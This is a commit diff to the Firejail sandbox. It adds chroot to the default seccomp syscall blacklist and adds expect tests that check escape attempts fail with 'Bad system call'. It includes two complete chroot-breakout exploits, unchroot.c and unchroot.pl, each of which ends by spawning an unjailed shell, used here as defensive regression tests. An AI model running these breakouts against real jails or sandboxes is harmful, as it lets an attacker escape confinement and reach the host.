diff options
-rw-r--r-- | src/firejail/main.c | 4 | ||||
-rw-r--r-- | src/firejail/sandbox.c | 2 | ||||
-rw-r--r-- | src/firejail/seccomp.c | 4 | ||||
-rw-r--r-- | src/firejail/usage.c | 2 | ||||
-rw-r--r-- | src/man/firejail.txt | 2 | ||||
-rwxr-xr-x | src/tools/unchroot | bin | 0 -> 9720 bytes | |||
-rw-r--r-- | src/tools/unchroot.c | 125 | ||||
-rwxr-xr-x | src/tools/unchroot.pl | 33 | ||||
-rwxr-xr-x | test/configure | 4 | ||||
-rwxr-xr-x | test/fs_chroot.exp | 17 | ||||
-rwxr-xr-x | test/fs_chroot_asroot.exp | 91 | ||||
-rwxr-xr-x | test/test-root.sh | 6 | ||||
-rwxr-xr-x | test/trace.exp | 2 |
13 files changed, 281 insertions, 11 deletions
diff --git a/src/firejail/main.c b/src/firejail/main.c index e39a41502..1c1c3a08f 100644 --- a/src/firejail/main.c +++ b/src/firejail/main.c | |||
@@ -1226,8 +1226,8 @@ int main(int argc, char **argv) { | |||
1226 | fprintf(stderr, "Warning: default profile disabled by --chroot option\n"); | 1226 | fprintf(stderr, "Warning: default profile disabled by --chroot option\n"); |
1227 | else if (arg_overlay) | 1227 | else if (arg_overlay) |
1228 | fprintf(stderr, "Warning: default profile disabled by --overlay option\n"); | 1228 | fprintf(stderr, "Warning: default profile disabled by --overlay option\n"); |
1229 | else if (cfg.home_private_keep) | 1229 | // else if (cfg.home_private_keep) |
1230 | fprintf(stderr, "Warning: default profile disabled by --private-home option\n"); | 1230 | // fprintf(stderr, "Warning: default profile disabled by --private-home option\n"); |
1231 | else { | 1231 | else { |
1232 | // try to load a default profile | 1232 | // try to load a default profile |
1233 | char *profile_name = DEFAULT_USER_PROFILE; | 1233 | char *profile_name = DEFAULT_USER_PROFILE; |
diff --git a/src/firejail/sandbox.c b/src/firejail/sandbox.c index 427b3fc09..b23c5d742 100644 --- a/src/firejail/sandbox.c +++ b/src/firejail/sandbox.c | |||
@@ -210,6 +210,8 @@ int sandbox(void* sandbox_arg) { | |||
210 | if (!arg_quiet) | 210 | if (!arg_quiet) |
211 | printf("Dropping all Linux capabilities and enforcing default seccomp filter\n"); | 211 | printf("Dropping all Linux capabilities and enforcing default seccomp filter\n"); |
212 | } | 212 | } |
213 | else | ||
214 | arg_seccomp = 1; | ||
213 | 215 | ||
214 | //**************************** | 216 | //**************************** |
215 | // trace pre-install, this time inside chroot | 217 | // trace pre-install, this time inside chroot |
diff --git a/src/firejail/seccomp.c b/src/firejail/seccomp.c index 6ab3ae56e..353b212f6 100644 --- a/src/firejail/seccomp.c +++ b/src/firejail/seccomp.c | |||
@@ -385,6 +385,7 @@ void seccomp_filter_32(void) { | |||
385 | BLACKLIST(294), // migrate_pages | 385 | BLACKLIST(294), // migrate_pages |
386 | BLACKLIST(317), // move_pages | 386 | BLACKLIST(317), // move_pages |
387 | BLACKLIST(316), // vmsplice | 387 | BLACKLIST(316), // vmsplice |
388 | BLACKLIST(61), // chroot | ||
388 | RETURN_ALLOW | 389 | RETURN_ALLOW |
389 | }; | 390 | }; |
390 | 391 | ||
@@ -558,6 +559,9 @@ int seccomp_filter_drop(void) { | |||
558 | #ifdef SYS_vmsplice | 559 | #ifdef SYS_vmsplice |
559 | filter_add_blacklist(SYS_vmsplice, 0); | 560 | filter_add_blacklist(SYS_vmsplice, 0); |
560 | #endif | 561 | #endif |
562 | #ifdef SYS_chroot | ||
563 | filter_add_blacklist(SYS_chroot, 0); | ||
564 | #endif | ||
561 | //#ifdef SYS_set_robust_list | 565 | //#ifdef SYS_set_robust_list |
562 | // filter_add_blacklist(SYS_set_robust_list, 0); | 566 | // filter_add_blacklist(SYS_set_robust_list, 0); |
563 | //#endif | 567 | //#endif |
diff --git a/src/firejail/usage.c b/src/firejail/usage.c index c829b94f2..76c12ecc1 100644 --- a/src/firejail/usage.c +++ b/src/firejail/usage.c | |||
@@ -225,7 +225,7 @@ void usage(void) { | |||
225 | printf("\t\tio_destroy, io_getevents, io_submit, io_cancel,\n"); | 225 | printf("\t\tio_destroy, io_getevents, io_submit, io_cancel,\n"); |
226 | printf("\t\tremap_file_pages, mbind, get_mempolicy, set_mempolicy,\n"); | 226 | printf("\t\tremap_file_pages, mbind, get_mempolicy, set_mempolicy,\n"); |
227 | printf("\t\tmigrate_pages, move_pages, vmsplice, perf_event_open and\n"); | 227 | printf("\t\tmigrate_pages, move_pages, vmsplice, perf_event_open and\n"); |
228 | printf("\t\tkexec_file_load.\n\n"); | 228 | printf("\t\tkexec_file_load, chroot.\n\n"); |
229 | 229 | ||
230 | printf("\t--seccomp=syscall,syscall,syscall - enable seccomp filter, blacklist the\n"); | 230 | printf("\t--seccomp=syscall,syscall,syscall - enable seccomp filter, blacklist the\n"); |
231 | printf("\t\tdefault syscall list and the syscalls specified by the command.\n\n"); | 231 | printf("\t\tdefault syscall list and the syscalls specified by the command.\n\n"); |
diff --git a/src/man/firejail.txt b/src/man/firejail.txt index 52b75afaa..912a08580 100644 --- a/src/man/firejail.txt +++ b/src/man/firejail.txt | |||
@@ -905,7 +905,7 @@ sysfs,_sysctl, adjtimex, clock_adjtime, lookup_dcookie, perf_event_open, fanotif | |||
905 | add_key, request_key, keyctl, uselib, acct, modify_ldt, pivot_root, io_setup, | 905 | add_key, request_key, keyctl, uselib, acct, modify_ldt, pivot_root, io_setup, |
906 | io_destroy, io_getevents, io_submit, io_cancel, | 906 | io_destroy, io_getevents, io_submit, io_cancel, |
907 | remap_file_pages, mbind, get_mempolicy, set_mempolicy, | 907 | remap_file_pages, mbind, get_mempolicy, set_mempolicy, |
908 | migrate_pages, move_pages, vmsplice, and perf_event_open. | 908 | migrate_pages, move_pages, vmsplice, perf_event_open and chroot. |
909 | .br | 909 | .br |
910 | 910 | ||
911 | .br | 911 | .br |
diff --git a/src/tools/unchroot b/src/tools/unchroot new file mode 100755 index 000000000..d32ce2682 --- /dev/null +++ b/src/tools/unchroot | |||
Binary files differ | |||
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c new file mode 100644 index 000000000..21731296e --- /dev/null +++ b/src/tools/unchroot.c | |||
@@ -0,0 +1,125 @@ | |||
1 | #include <stdio.h> | ||
2 | #include <stdlib.h> | ||
3 | #include <errno.h> | ||
4 | #include <fcntl.h> | ||
5 | #include <string.h> | ||
6 | #include <unistd.h> | ||
7 | #include <sys/stat.h> | ||
8 | #include <sys/types.h> | ||
9 | |||
10 | /* | ||
11 | ** You should set NEED_FCHDIR to 1 if the chroot() on your | ||
12 | ** system changes the working directory of the calling | ||
13 | ** process to the same directory as the process was chroot()ed | ||
14 | ** to. | ||
15 | ** | ||
16 | ** It is known that you do not need to set this value if you | ||
17 | ** running on Solaris 2.7 and below. | ||
18 | ** | ||
19 | */ | ||
20 | #define NEED_FCHDIR 0 | ||
21 | |||
22 | #define TEMP_DIR "waterbuffalo" | ||
23 | |||
24 | /* Break out of a chroot() environment in C */ | ||
25 | |||
26 | int main() { | ||
27 | int x; /* Used to move up a directory tree */ | ||
28 | int done=0; /* Are we done yet ? */ | ||
29 | #ifdef NEED_FCHDIR | ||
30 | int dir_fd; /* File descriptor to directory */ | ||
31 | #endif | ||
32 | struct stat sbuf; /* The stat() buffer */ | ||
33 | |||
34 | /* | ||
35 | ** First we create the temporary directory if it doesn't exist | ||
36 | */ | ||
37 | if (stat(TEMP_DIR,&sbuf)<0) { | ||
38 | if (errno==ENOENT) { | ||
39 | if (mkdir(TEMP_DIR,0755)<0) { | ||
40 | fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, | ||
41 | strerror(errno)); | ||
42 | exit(1); | ||
43 | } | ||
44 | } | ||
45 | else { | ||
46 | fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, | ||
47 | strerror(errno)); | ||
48 | exit(1); | ||
49 | } | ||
50 | } | ||
51 | else if (!S_ISDIR(sbuf.st_mode)) { | ||
52 | fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); | ||
53 | exit(1); | ||
54 | } | ||
55 | |||
56 | #ifdef NEED_FCHDIR | ||
57 | /* | ||
58 | ** Now we open the current working directory | ||
59 | ** | ||
60 | ** Note: Only required if chroot() changes the calling program's | ||
61 | ** working directory to the directory given to chroot(). | ||
62 | ** | ||
63 | */ | ||
64 | if ((dir_fd=open(".",O_RDONLY))<0) { | ||
65 | fprintf(stderr,"Failed to open \".\" for reading - %s\n", | ||
66 | strerror(errno)); | ||
67 | exit(1); | ||
68 | } | ||
69 | #endif | ||
70 | |||
71 | /* | ||
72 | ** Next we chroot() to the temporary directory | ||
73 | */ | ||
74 | if (chroot(TEMP_DIR)<0) { | ||
75 | fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, | ||
76 | strerror(errno)); | ||
77 | exit(1); | ||
78 | } | ||
79 | |||
80 | #ifdef NEED_FCHDIR | ||
81 | /* | ||
82 | ** Partially break out of the chroot by doing an fchdir() | ||
83 | ** | ||
84 | ** This only partially breaks out of the chroot() since whilst | ||
85 | ** our current working directory is outside of the chroot() jail, | ||
86 | ** our root directory is still within it. Thus anything which refers | ||
87 | ** to "/" will refer to files under the chroot() point. | ||
88 | ** | ||
89 | ** Note: Only required if chroot() changes the calling program's | ||
90 | ** working directory to the directory given to chroot(). | ||
91 | ** | ||
92 | */ | ||
93 | if (fchdir(dir_fd)<0) { | ||
94 | fprintf(stderr,"Failed to fchdir - %s\n", | ||
95 | strerror(errno)); | ||
96 | exit(1); | ||
97 | } | ||
98 | close(dir_fd); | ||
99 | #endif | ||
100 | |||
101 | /* | ||
102 | ** Completely break out of the chroot by recursing up the directory | ||
103 | ** tree and doing a chroot to the current working directory (which will | ||
104 | ** be the real "/" at that point). We just do a chdir("..") lots of | ||
105 | ** times (1024 times for luck :). If we hit the real root directory before | ||
106 | ** we have finished the loop below it doesn't matter as .. in the root | ||
107 | ** directory is the same as . in the root. | ||
108 | ** | ||
109 | ** We do the final break out by doing a chroot(".") which sets the root | ||
110 | ** directory to the current working directory - at this point the real | ||
111 | ** root directory. | ||
112 | */ | ||
113 | for(x=0;x<1024;x++) { | ||
114 | chdir(".."); | ||
115 | } | ||
116 | chroot("."); | ||
117 | |||
118 | /* | ||
119 | ** We're finally out - so exec a shell in interactive mode | ||
120 | */ | ||
121 | if (execl("/bin/sh","-i",NULL)<0) { | ||
122 | fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); | ||
123 | exit(1); | ||
124 | } | ||
125 | } | ||
diff --git a/src/tools/unchroot.pl b/src/tools/unchroot.pl new file mode 100755 index 000000000..bd30ffe76 --- /dev/null +++ b/src/tools/unchroot.pl | |||
@@ -0,0 +1,33 @@ | |||
1 | #!/usr/bin/perl -w | ||
2 | use strict; | ||
3 | # unchroot.pl Dec 2007 | ||
4 | # http://pentestmonkey.net/blog/chroot-breakout-perl | ||
5 | |||
6 | # This script may be used for legal purposes only. | ||
7 | |||
8 | # Go to the root of the jail | ||
9 | chdir "/"; | ||
10 | |||
11 | # Open filehandle to root of jail | ||
12 | opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn"; | ||
13 | |||
14 | # Create a subdir, move into it | ||
15 | mkdir "mysubdir"; | ||
16 | chdir "mysubdir"; | ||
17 | |||
18 | # Lock ourselves in a new jail | ||
19 | chroot "."; | ||
20 | |||
21 | # Use our filehandle to get back to the root of the old jail | ||
22 | chdir(*JAILROOT); | ||
23 | |||
24 | # Get to the real root | ||
25 | while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) { | ||
26 | chdir ".."; | ||
27 | } | ||
28 | |||
29 | # Lock ourselves in real root - so we're not really in a jail at all now | ||
30 | chroot "."; | ||
31 | |||
32 | # Start an un-jailed shell | ||
33 | system("/bin/sh"); | ||
diff --git a/test/configure b/test/configure index 17bb22e1b..01f0c6ff0 100755 --- a/test/configure +++ b/test/configure | |||
@@ -22,7 +22,7 @@ ROOTDIR="/tmp/chroot" # default chroot directory | |||
22 | DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files | 22 | DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files |
23 | DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group " | 23 | DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group " |
24 | DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc | 24 | DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc |
25 | DEFAULT_FILES+=" /bin/ls /bin/cat /bin/ps /usr/bin/id /usr/bin/whoami /usr/bin/wc /usr/bin/wget" | 25 | DEFAULT_FILES+=" /bin/ls /bin/cat /bin/ps /usr/bin/id /usr/bin/whoami /usr/bin/wc /usr/bin/wget /bin/umount" |
26 | 26 | ||
27 | rm -fr $ROOTDIR | 27 | rm -fr $ROOTDIR |
28 | mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,proc} | 28 | mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,proc} |
@@ -33,6 +33,8 @@ do | |||
33 | done | 33 | done |
34 | cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR | 34 | cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR |
35 | cp --parents /lib/ld-linux.so.2 $ROOTDIR | 35 | cp --parents /lib/ld-linux.so.2 $ROOTDIR |
36 | cp ../src/tools/unchroot $ROOTDIR/. | ||
37 | touch $ROOTDIR/this-is-my-chroot | ||
36 | 38 | ||
37 | cd $ROOTDIR; find . | 39 | cd $ROOTDIR; find . |
38 | mkdir -p usr/lib/firejail/ | 40 | mkdir -p usr/lib/firejail/ |
diff --git a/test/fs_chroot.exp b/test/fs_chroot.exp index 448a00a7a..4ddf8d32a 100755 --- a/test/fs_chroot.exp +++ b/test/fs_chroot.exp | |||
@@ -4,7 +4,7 @@ set timeout 10 | |||
4 | spawn $env(SHELL) | 4 | spawn $env(SHELL) |
5 | match_max 100000 | 5 | match_max 100000 |
6 | 6 | ||
7 | send -- "firejail --noprofile --chroot=/tmp/chroot\r" | 7 | send -- "firejail --chroot=/tmp/chroot\r" |
8 | expect { | 8 | expect { |
9 | timeout {puts "TESTING ERROR 0\n";exit} | 9 | timeout {puts "TESTING ERROR 0\n";exit} |
10 | "Child process initialized" | 10 | "Child process initialized" |
@@ -13,12 +13,24 @@ sleep 1 | |||
13 | 13 | ||
14 | send -- "cd /home;pwd\r" | 14 | send -- "cd /home;pwd\r" |
15 | expect { | 15 | expect { |
16 | timeout {puts "TESTING ERROR 3\n";exit} | 16 | timeout {puts "TESTING ERROR 0.1\n";exit} |
17 | "home" | 17 | "home" |
18 | } | 18 | } |
19 | sleep 1 | 19 | sleep 1 |
20 | send -- "bash\r" | 20 | send -- "bash\r" |
21 | sleep 1 | 21 | sleep 1 |
22 | send -- "ls /; pwd\r" | ||
23 | expect { | ||
24 | timeout {puts "TESTING ERROR 0.2\n";exit} | ||
25 | "this-is-my-chroot" | ||
26 | } | ||
27 | expect { | ||
28 | timeout {puts "TESTING ERROR 0.3\n";exit} | ||
29 | "home" | ||
30 | } | ||
31 | |||
32 | |||
33 | |||
22 | send -- "ps aux; pwd\r" | 34 | send -- "ps aux; pwd\r" |
23 | expect { | 35 | expect { |
24 | timeout {puts "TESTING ERROR 1\n";exit} | 36 | timeout {puts "TESTING ERROR 1\n";exit} |
@@ -50,5 +62,6 @@ expect { | |||
50 | } | 62 | } |
51 | sleep 1 | 63 | sleep 1 |
52 | 64 | ||
65 | |||
53 | puts "all done\n" | 66 | puts "all done\n" |
54 | 67 | ||
diff --git a/test/fs_chroot_asroot.exp b/test/fs_chroot_asroot.exp new file mode 100755 index 000000000..7e18153e0 --- /dev/null +++ b/test/fs_chroot_asroot.exp | |||
@@ -0,0 +1,91 @@ | |||
1 | #!/usr/bin/expect -f | ||
2 | |||
3 | set timeout 10 | ||
4 | spawn $env(SHELL) | ||
5 | match_max 100000 | ||
6 | |||
7 | send -- "firejail --chroot=/tmp/chroot\r" | ||
8 | expect { | ||
9 | timeout {puts "TESTING ERROR 0\n";exit} | ||
10 | "Child process initialized" | ||
11 | } | ||
12 | sleep 1 | ||
13 | |||
14 | send -- "cd /home;pwd\r" | ||
15 | expect { | ||
16 | timeout {puts "TESTING ERROR 0.1\n";exit} | ||
17 | "home" | ||
18 | } | ||
19 | sleep 1 | ||
20 | send -- "bash\r" | ||
21 | sleep 1 | ||
22 | send -- "ls /; pwd\r" | ||
23 | expect { | ||
24 | timeout {puts "TESTING ERROR 0.2\n";exit} | ||
25 | "this-is-my-chroot" | ||
26 | } | ||
27 | expect { | ||
28 | timeout {puts "TESTING ERROR 0.3\n";exit} | ||
29 | "home" | ||
30 | } | ||
31 | |||
32 | send -- "umount /boot; pwd\r" | ||
33 | expect { | ||
34 | timeout {puts "TESTING ERROR 0.4\n";exit} | ||
35 | "Bad system call" | ||
36 | } | ||
37 | expect { | ||
38 | timeout {puts "TESTING ERROR 0.5\n";exit} | ||
39 | "home" | ||
40 | } | ||
41 | |||
42 | send -- "/unchroot; pwd\r" | ||
43 | expect { | ||
44 | timeout {puts "TESTING ERROR 0.6\n";exit} | ||
45 | "Bad system call" | ||
46 | } | ||
47 | expect { | ||
48 | timeout {puts "TESTING ERROR 0.7\n";exit} | ||
49 | "home" | ||
50 | } | ||
51 | |||
52 | |||
53 | |||
54 | |||
55 | |||
56 | send -- "ps aux; pwd\r" | ||
57 | expect { | ||
58 | timeout {puts "TESTING ERROR 1\n";exit} | ||
59 | "/bin/bash" | ||
60 | } | ||
61 | expect { | ||
62 | timeout {puts "TESTING ERROR 2\n";exit} | ||
63 | "bash" | ||
64 | } | ||
65 | expect { | ||
66 | timeout {puts "TESTING ERROR 3\n";exit} | ||
67 | "ps aux" | ||
68 | } | ||
69 | expect { | ||
70 | timeout {puts "TESTING ERROR 4\n";exit} | ||
71 | "home" | ||
72 | } | ||
73 | sleep 1 | ||
74 | |||
75 | |||
76 | send -- "ps aux |wc -l; pwd\r" | ||
77 | expect { | ||
78 | timeout {puts "TESTING ERROR 5\n";exit} | ||
79 | "5" | ||
80 | } | ||
81 | expect { | ||
82 | timeout {puts "TESTING ERROR 6\n";exit} | ||
83 | "home" | ||
84 | } | ||
85 | sleep 1 | ||
86 | |||
87 | |||
88 | |||
89 | |||
90 | puts "all done\n" | ||
91 | |||
diff --git a/test/test-root.sh b/test/test-root.sh index fcfe32a58..94ac3447d 100755 --- a/test/test-root.sh +++ b/test/test-root.sh | |||
@@ -5,6 +5,9 @@ | |||
5 | echo "TESTING: network interfaces" | 5 | echo "TESTING: network interfaces" |
6 | ./net_interface.exp | 6 | ./net_interface.exp |
7 | 7 | ||
8 | echo "TESTING: chroot" | ||
9 | ./fs_chroot_asroot.exp | ||
10 | |||
8 | echo "TESTING: servers rsyslogd, sshd, nginx" | 11 | echo "TESTING: servers rsyslogd, sshd, nginx" |
9 | ./servers.exp | 12 | ./servers.exp |
10 | 13 | ||
@@ -46,9 +49,6 @@ echo hello > tmpfile | |||
46 | ./option_bind_file.exp | 49 | ./option_bind_file.exp |
47 | rm -f tmpfile | 50 | rm -f tmpfile |
48 | 51 | ||
49 | echo "TESTING: chroot" | ||
50 | ./fs_chroot.exp | ||
51 | |||
52 | echo "TESTING: firemon --interface" | 52 | echo "TESTING: firemon --interface" |
53 | ./firemon-interface.exp | 53 | ./firemon-interface.exp |
54 | 54 | ||
diff --git a/test/trace.exp b/test/trace.exp index bca3ac3b3..2b5003d83 100755 --- a/test/trace.exp +++ b/test/trace.exp | |||
@@ -91,5 +91,5 @@ expect { | |||
91 | sleep 1 | 91 | sleep 1 |
92 | 92 | ||
93 | 93 | ||
94 | puts "\n" | 94 | puts "\nall done\n" |
95 | 95 | ||